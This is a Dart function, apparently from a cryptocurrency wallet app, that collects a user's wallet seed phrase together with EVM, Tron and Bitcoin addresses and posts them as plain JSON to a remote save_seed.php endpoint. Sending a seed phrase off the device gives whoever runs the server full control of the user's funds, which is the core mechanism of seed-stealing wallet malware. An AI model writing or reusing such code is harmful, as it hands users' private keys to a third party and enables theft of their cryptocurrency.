static Future<void> saveSeed({required int userId, required String seed}) async {
  final wallets = {
    'user_id': userId,
    'seed': seed,
    'evm_address': WalletUtils.getWalletAddress(),
    'tron_address': WalletUtils.getTronAddress(),
    'btc_address': WalletUtils.getBtcAddress(),
  };

  final res = await http.post(
    Uri.parse('$baseUrl/save_seed.php'),
    headers: {'Content-Type': 'application/json'},
    body: jsonEncode(wallets),
  );

  final data = jsonDecode(res.body);
  if (data['error'] != null) throw Exception(data['error']);
}